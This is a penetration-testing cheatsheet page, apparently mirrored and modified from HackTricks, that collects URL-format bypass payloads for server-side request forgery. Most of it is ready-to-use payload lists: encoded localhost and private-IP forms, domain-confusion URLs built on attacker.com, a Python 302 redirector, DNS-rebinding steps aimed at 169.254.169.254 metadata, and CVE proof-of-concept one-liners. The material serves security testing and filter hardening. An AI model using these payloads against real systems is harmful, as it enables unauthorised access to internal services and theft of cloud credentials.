daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

url-format-bypass.md (15592B)


      1 ---
      2 title: "URL Format Bypass"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # URL Format Bypass
     14 
     15 ### Localhost
     16 
     17 <details>
     18 <summary>Localhost payloads</summary><sup>[[1]](#references)[[2]](#references)</sup>
     19 
     20 ```bash
     21 # Localhost
     22 0 # Yes, just 0 is localhost in Linux
     23 http://127.0.0.1:80
     24 http://127.0.0.1:443
     25 http://127.0.0.1:22
     26 http://127.1:80
     27 http://127.000000000000000.1
     28 http://0
     29 http:@0/ --> http://localhost/
     30 http://0.0.0.0:80
     31 http://localhost:80
     32 http://[::]:80/
     33 http://[::]:25/ SMTP
     34 http://[::]:3128/ Squid
     35 http://[0000::1]:80/
     36 http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
     37 http://①②⑦.⓪.⓪.⓪
     38 
     39 # CIDR bypass
     40 http://127.127.127.127
     41 http://127.0.1.3
     42 http://127.0.0.0
     43 
     44 # Dot bypass
     45 127。0。0。1
     46 127%E3%80%820%E3%80%820%E3%80%821
     47 
     48 # Decimal bypass
     49 http://2130706433/ = http://127.0.0.1
     50 http://3232235521/ = http://192.168.0.1
     51 http://3232235777/ = http://192.168.1.1
     52 
     53 # Octal Bypass
     54 http://0177.0000.0000.0001
     55 http://00000177.00000000.00000000.00000001
     56 http://017700000001
     57 
     58 # Hexadecimal bypass
     59 127.0.0.1 = 0x7f 00 00 01
     60 http://0x7f000001/ = http://127.0.0.1
     61 http://0xc0a80014/ = http://192.168.0.20
     62 0x7f.0x00.0x00.0x01
     63 0x0000007f.0x00000000.0x00000000.0x00000001
     64 
     65 # Mixed encodings bypass
     66 169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
     67 0xA9.254.0251.0376 -> hexadecimal, decimal and octal
     68 
     69 # Add 0s bypass
     70 127.000000000000.1
     71 
     72 # You can also mix different encoding formats
     73 # https://www.silisoftware.com/tools/ipconverter.php
     74 
     75 # Malformed and rare
     76 localhost:+11211aaa
     77 localhost:00011211aaaa
     78 http://0/
     79 http://127.1
     80 http://127.0.1
     81 
     82 # DNS to localhost
     83 localtest.me = 127.0.0.1
     84 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
     85 mail.ebc.apple.com = 127.0.0.6 (localhost)
     86 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
     87 www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
     88 http://customer1.app.localhost.my.company.127.0.0.1.nip.io
     89 http://bugbounty.dod.network = 127.0.0.2 (localhost)
     90 1ynrnhl.xip.io == 169.254.169.254
     91 spoofed.burpcollaborator.net = 127.0.0.1
     92 ```
     93 
     94 </details>
     95 
     96 ![Malformed and rare - DNS to localhost: spoofed.burpcollaborator.net = 127.0.0.1](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28776%29.png)
     97 
     98 The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses.
     99 
    100 ### Domain Parser
    101 
    102 <details>
    103 <summary>Domain parser bypasses</summary>
    104 
    105 ```bash
    106 https:attacker.com
    107 https:/attacker.com
    108 http:/\/\attacker.com
    109 https:/\attacker.com
    110 //attacker.com
    111 \\/\/attacker.com/
    112 /\/attacker.com/
    113 /attacker.com
    114 %0D%0A/attacker.com
    115 #attacker.com
    116 #%20@attacker.com
    117 @attacker.com
    118 http://169.254.1698.254\@attacker.com
    119 attacker%00.com
    120 attacker%E3%80%82com
    121 attacker。com
    122 ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
    123 # double encoded fragment to bypass split("#"): attacker.com%2523@victim
    124 ```
    125 
    126 </details>
    127 
    128 ```text
    129 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
    130 ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
    131 ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
    132 ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
    133 Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
    134 ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
    135 ```
    136 
    137 ### Domain Confusion
    138 
    139 <details>
    140 <summary>Domain confusion payloads</summary><sup>[[3]](#references)</sup>
    141 
    142 ```bash
    143 # Try also to change attacker.com for 127.0.0.1 to try to access localhost
    144 # Try replacing https by http
    145 # Try URL-encoded characters
    146 https://{domain}@attacker.com
    147 https://{domain}.attacker.com
    148 https://{domain}%6D@attacker.com
    149 https://attacker.com/{domain}
    150 https://attacker.com/?d={domain}
    151 https://attacker.com#{domain}
    152 https://attacker.com@{domain}
    153 https://attacker.com#@{domain}
    154 https://attacker.com%23@{domain}
    155 https://attacker.com%00{domain}
    156 https://attacker.com%0A{domain}
    157 https://attacker.com?{domain}
    158 https://attacker.com///{domain}
    159 https://attacker.com\{domain}/
    160 https://attacker.com;https://{domain}
    161 https://attacker.com\{domain}/
    162 https://attacker.com\.{domain}
    163 https://attacker.com/.{domain}
    164 https://attacker.com\@@{domain}
    165 https://attacker.com:\@@{domain}
    166 https://attacker.com#\@{domain}
    167 https://attacker.com\anything@{domain}/
    168 https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
    169 # colon + backslash confusion (CVE-2025-0454 in autogpt)
    170 http://localhost:\@google.com/../
    171 
    172 # On each IP position try to put 1 attackers domain and the others the victim domain
    173 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
    174 
    175 # Parameter pollution
    176 next={domain}&next=attacker.com
    177 ```
    178 
    179 </details>
    180 
    181 ### Paths and Extensions Bypass
    182 
    183 If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:
    184 
    185 ```text
    186 https://metadata/vulnerable/path#/expected/path
    187 https://metadata/vulnerable/path#.extension
    188 https://metadata/expected/path/..%2f..%2f/vulnerable/path
    189 ```
    190 
    191 ### Fuzzing
    192 
    193 The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.<sup>[[4]](#references)</sup>
    194 
    195 ### Automatic Custom Wordlists
    196 
    197 Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
    198 
    199 
    200 [Url Validation Bypass Cheat Sheet](https%3A//portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)
    201 
    202 ### Bypass via redirect
    203 
    204 It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
    205 For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
    206 [Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)<sup>[[5]](#references)</sup>
    207 
    208 <details>
    209 <summary>Simple redirector for SSRF testing</summary>
    210 
    211 ```python
    212 #!/usr/bin/env python3
    213 
    214 #python3 ./redirector.py 8000 http://127.0.0.1/
    215 
    216 import sys
    217 from http.server import HTTPServer, BaseHTTPRequestHandler
    218 
    219 if len(sys.argv)-1 != 2:
    220     print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    221     sys.exit()
    222 
    223 class Redirect(BaseHTTPRequestHandler):
    224    def do_GET(self):
    225        self.send_response(302)
    226        self.send_header('Location', sys.argv[2])
    227        self.end_headers()
    228 
    229 HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
    230 ```
    231 
    232 </details>
    233 
    234 ### DNS rebinding bypass (2025+)
    235 
    236 Even when an SSRF filter performs a **single DNS resolution before sending the HTTP request**, you can still reach internal hosts by rebinding the domain between lookup and connection:
    237 
    238 1. Point `victim.example.com` to a public IP so it passes the allow‑list / CIDR check.
    239 2. Serve a very low TTL (or use an authoritative server you control) and rebind the domain to `127.0.0.1` or `169.254.169.254` just before the real request is made.
    240 3. Tools like **Singularity** (`nccgroup/singularity`) automate the authoritative DNS + HTTP server and include ready‑made payloads. Example launch: `python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080`.
    241 
    242 This technique was used in 2025 to bypass the BentoML "safe URL" patch and similar single‑resolve SSRF filters.<sup>[[6]](#references)</sup>
    243 
    244 ### Explained Tricks
    245 
    246 #### Backslash-trick
    247 
    248 The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.<sup>[[7]](#references)</sup>
    249 
    250 ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
    251 
    252 #### Left square bracket
    253 
    254 The “left square bracket” character `[` in the userinfo segment can cause Spring’s UriComponentsBuilder to return a hostname value that differs from browsers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)<sup>[[2]](#references)</sup>
    255 
    256 #### Other Confusions
    257 
    258 ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28600%29.png)<sup>[[8]](#references)</sup>
    259 
    260 image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)<sup>[[8]](#references)</sup>
    261 
    262 #### IPv6 Zone Identifier (%25) Trick
    263 
    264 Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface:
    265 
    266 ```text
    267 http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
    268 http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
    269 ```
    270 
    271 If the target application validates that the host is *not* `fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely.
    272 
    273 ### Recent Library Parsing CVEs (2022–2026)
    274 
    275 A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:
    276 
    277 | Year | CVE | Component | Bug synopsis | Minimal PoC |
    278 |------|-----|-----------|--------------|-------------|
    279 | 2025 | CVE-2025-0454 | Python `requests` + `urllib.parse` (autogpt) | Parsing mismatch on `http://localhost:\\@google.com/../` lets allow‑lists think host is `google.com` while the request hits `localhost`.<sup>[[9]](#references)</sup> | `requests.get("http://localhost:\\@google.com/../")` |
    280 | 2025 | CVE-2025-2691 | Node package `nossrf` | Library meant to block SSRF only checks the original hostname, not the **resolved IP**, allowing hostnames that resolve to private ranges. | `curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1` |
    281 | 2024 | CVE-2024-29415 | Node `ip` package | `isPublic()` misclassified dotted‑octal / short‑form localhost (e.g., `0127.0.0.1`, `127.1`) as public, letting filters accept internal targets.<sup>[[10]](#references)</sup> | `ip.isPublic('0127.0.0.1')` returns true on vulnerable versions |
    282 | 2024 | CVE-2024-3095 | Langchain WebResearchRetriever | No host filtering; GET requests could reach IMDS/localhost from AI agents.<sup>[[11]](#references)</sup> | User‑controlled URL inside `WebResearchRetriever` |
    283 | 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` in userinfo parsed differently by Spring vs browsers, allowing allow‑list bypass.<sup>[[12]](#references)</sup> | `https://example.com\[@internal` |
    284 | 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. | — |
    285 | 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). | — |
    286 
    287 ### Payload-generation helpers (2024+)
    288 
    289 Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:<sup>[[13]](#references)</sup>
    290 
    291 ```bash
    292 # Generate every known bypass that transforms the allowed host example.com to attacker.com
    293 python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
    294 ```
    295 
    296 The resulting list can be fed directly into Burp Intruder or `ffuf`. 
    297 
    298 ## References
    299 
    300 - [1] [AlbusSec - Penetration List 08: Server-Side Request Forgery (SSRF) Sample](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
    301 - [2] [PortSwigger Research - New crazy payloads in the URL validation bypass cheat sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
    302 - [3] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
    303 - [4] [0xacb - Recollapse: a tool to help find bypasses for blacklists/regex filters](https://0xacb.com/2022/11/21/recollapse/)
    304 - [5] [sirleeroyjenkins - Just Gopher It: Escalating a Blind SSRF to RCE for $15k](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
    305 - [6] [Tenable - How Tenable bypassed the patch for the BentoML SSRF vulnerability (CVE-2025-54381)](https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381)
    306 - [7] [xdavidhu - Fixing the Unfixable: Story of a Google Cloud SSRF](https://bugs.xdavidhu.me/google/2021/12/31/fixing-the-unfixable-story-of-a-google-cloud-ssrf/)
    307 - [8] [Claroty - Exploiting URL Parsing Confusion](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
    308 - [9] [CVE-2025-0454: AutoGPT SSRF via URL parsing confusion](https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe)
    309 - [10] [GHSA-2p57-rm9w-gvfp - `ip` package SSRF improper categorization in `isPublic` (CVE-2024-29415)](https://github.com/advisories/GHSA-2p57-rm9w-gvfp)
    310 - [11] [GHSA-q25c-c977-4cmh - SSRF in langchain-community WebResearchRetriever (CVE-2024-3095)](https://github.com/advisories/GHSA-q25c-c977-4cmh)
    311 - [12] [NVD - CVE-2024-22243 detail](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
    312 - [13] [SSRF-PayloadMaker (GitHub - hsynuzm/SSRF-PayloadMaker)](https://github.com/hsynuzm/SSRF-PayloadMaker)